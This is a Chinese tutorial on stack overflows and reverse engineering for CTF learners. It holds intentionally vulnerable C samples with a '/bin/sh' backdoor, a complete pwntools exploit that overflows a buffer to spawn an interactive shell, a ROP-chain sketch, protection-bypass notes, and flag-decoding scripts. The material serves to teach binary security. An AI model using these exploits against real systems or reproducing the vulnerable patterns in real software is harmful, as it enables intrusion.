底层栈基础 || 逆向手搓基础
字数 1607 2025-12-25 12:13:47
栈溢出与逆向工程基础教学文档
第一章 栈溢出基础
1.1 函数调用栈原理
函数调用过程
- call指令本质:
push rip+jmp到被调用函数 - 调用栈变化:
- 调用者将参数压栈(x86-64中前6个参数使用寄存器)
- 执行call指令:保存返回地址(push rip)
- 被调用函数保存调用者rbp(push rbp)
- 分配局部变量空间(sub rsp, XXh)
栈帧结构
高地址
[调用者栈帧]
[参数n]
...
[参数1]
[返回地址] ← rip被压入的位置
[旧的rbp] ← rbp被压入的位置
[局部变量] ← rsp指向的位置
低地址
1.2 栈溢出利用技术
基本溢出原理
// 漏洞代码示例
int vulnerable_function() {
char buf[64]; // 栈上分配64字节缓冲区
read(0, buf, 0x100); // 可写入0x100字节,造成溢出
return 0;
}
利用步骤
- 覆盖返回地址:通过溢出覆盖栈上的返回地址
- 控制程序流:将返回地址修改为后门函数地址
- 执行shellcode:获得系统控制权
1.3 栈对齐问题(16字节对齐)
对齐原理
- System V AMD64 ABI要求栈指针rsp在函数调用时必须16字节对齐
- 对齐破坏会导致某些指令(如movaps)触发异常
对齐验证
; 函数开始时检查对齐
push rbp ; rsp减8
mov rbp, rsp ; 当前rsp可能不对齐
sub rsp, 0x20 ; 分配局部变量空间
对齐解决方案
- 添加ret指令:在payload中插入ret gadget,调整rsp
- 地址+1跳过push:绕过某些栈调整指令
- 使用对齐gadget:寻找专门的栈对齐gadget
第二章 实际漏洞利用
2.1 基础栈溢出利用
示例漏洞代码
int backdoor() {
return system("/bin/sh");
}
int main() {
char buf[64]; // rbp-0x40
read(0, buf, 0x100); // 溢出漏洞
return 0;
}
利用要点
- 偏移计算:buf到返回地址的偏移为0x40 + 8(保存的rbp)
- payload构造:填充数据 + 后门函数地址
- 栈平衡处理:考虑对齐要求
完整exp示例
from pwn import *
io = remote('target', port)
context.arch = 'amd64'
# 计算偏移
offset = 0x40 + 8 # buf大小 + 保存的rbp
# 获取gadget和函数地址
ret = 0x40116F # ret指令地址,用于栈对齐
backdoor = 0x401156 # 后门函数地址
# 构造payload
payload = b'a' * offset
payload += p64(ret) # 先执行ret调整栈对齐
payload += p64(backdoor) # 执行后门函数
io.send(payload)
io.interactive()
2.2 复杂情况处理
字符串比较绕过
// 需要绕过的认证逻辑
if (!strcmp(buf, "admin") && !strcmp(s1, "123456")) {
vuln(); // 存在漏洞的函数
}
strcmp函数特性:
- 遇到NULL字节(
\x00)停止比较 - 可输入
admin\x00+填充绕过长度检查 - 注意输入函数特性(read不会截断,scanf会截断)
堆指针保护
void vuln() {
char dest[72];
void *buf = malloc(0x100);
read(0, buf, 0x1000); // 堆溢出
memcpy(dest, buf, 0x100); // 栈溢出
free(buf); // 需要保持buf为有效堆指针
}
利用要点:
- 保持buf指针有效性,避免free崩溃
- 利用printf泄漏堆地址
- 构造ROP链时考虑指针完整性
第三章 逆向工程基础
3.1 Python程序逆向
PyInstaller打包程序解包
# 使用pyinstxtractor解包
python pyinstxtractor.py target.exe
# 反编译pyc文件
uncompyle6 target.pyc > target.py
简单逆向示例
# 加密逻辑
flag_hex = '53 44 50 43 53 45 43 7b 72 65 76 65 72 73 65 5f 71 69 61 6e 5f 64 61 6f 7d 0a'
correct_flag = bytes.fromhex(flag_hex).decode('utf-8').strip()
# 直接解密
print(correct_flag) # 输出flag
3.2 Base64变异算法分析
标准Base64编码表
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
变异Base64识别
- 换表检测:查找不同的编码表
- 索引变异:对6-bit索引进行异或等操作
- 自定义填充:使用非
=的填充字符
变异Base64解密
import base64
# 标准表和解密表
std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
encrypted = "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="
# 换表解密
decoded = base64.b64decode(encrypted.translate(str.maketrans(custom_table, std_table)))
print(decoded)
3.3 多层加密逆向
复合加密示例
import base64
def decrypt_complex(ciphertext, key):
# 第一层:Base64换表解码
std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom_table = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
# Base64换表解码
layer1 = base64.b64decode(ciphertext.translate(str.maketrans(custom_table, std_table)))
# 第二层:轮密钥异或解密
plaintext = ""
for i in range(len(layer1)):
decrypted_char = layer1[i] ^ ord(key[i % len(key)])
plaintext += chr(decrypted_char)
return plaintext
# 使用示例
cipher = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="
key = "Roses"
result = decrypt_complex(cipher, key)
print(result)
第四章 高级技巧
4.1 花指令处理
常见花指令模式
- 无效跳转:
jz+jmp组合,中间插入垃圾字节 - 异常调用:插入无效的
call指令 - 代码混淆:通过无意义指令干扰反汇编
花指令清除方法
- 手动nop:将垃圾字节替换为nop(0x90)
- IDA Python脚本:自动化识别和修复
- 动态调试:运行时代码实际执行路径分析
4.2 漏洞利用防护绕过
栈保护绕过
- Canary绕过:泄漏canary值或覆盖特定条件
- ASLR绕过:利用信息泄漏获取基地址
- DEP绕过:使用ROP技术
现代防护对抗
# ROP链构造示例
rop_chain = [
pop_rdi_ret, # pop rdi; ret
binsh_addr, # "/bin/sh"字符串地址
system_plt # system函数地址
]
# 构造完整payload
payload = padding + flat(rop_chain)
第五章 实践练习
5.1 基础练习
- 实现基本的栈溢出利用
- 处理16字节栈对齐问题
- 编写完整的exp脚本
5.2 中级练习
- 分析变异Base64算法
- 处理多层加密的逆向
- 修复花指令并分析真实逻辑
5.3 高级练习
- 实现ROP链构造
- 绕过现代防护机制
- 编写自动化分析工具
总结
本文档详细介绍了栈溢出原理、逆向工程基础知识和实际利用技巧。重点包括函数调用栈机制、栈对齐问题、变异算法分析和花指令处理等关键知识点。通过理论结合实践的方式,帮助学习者建立完整的二进制安全知识体系。
关键要点回顾:
- 栈溢出本质是覆盖返回地址控制程序流
- 栈对齐是x64架构下的重要考虑因素
- 逆向工程需要耐心分析算法逻辑
- 实际利用需要考虑各种防护机制的绕过
建议学习者通过实际动手实践,逐步掌握这些技术,并在合法授权的环境下进行测试和学习。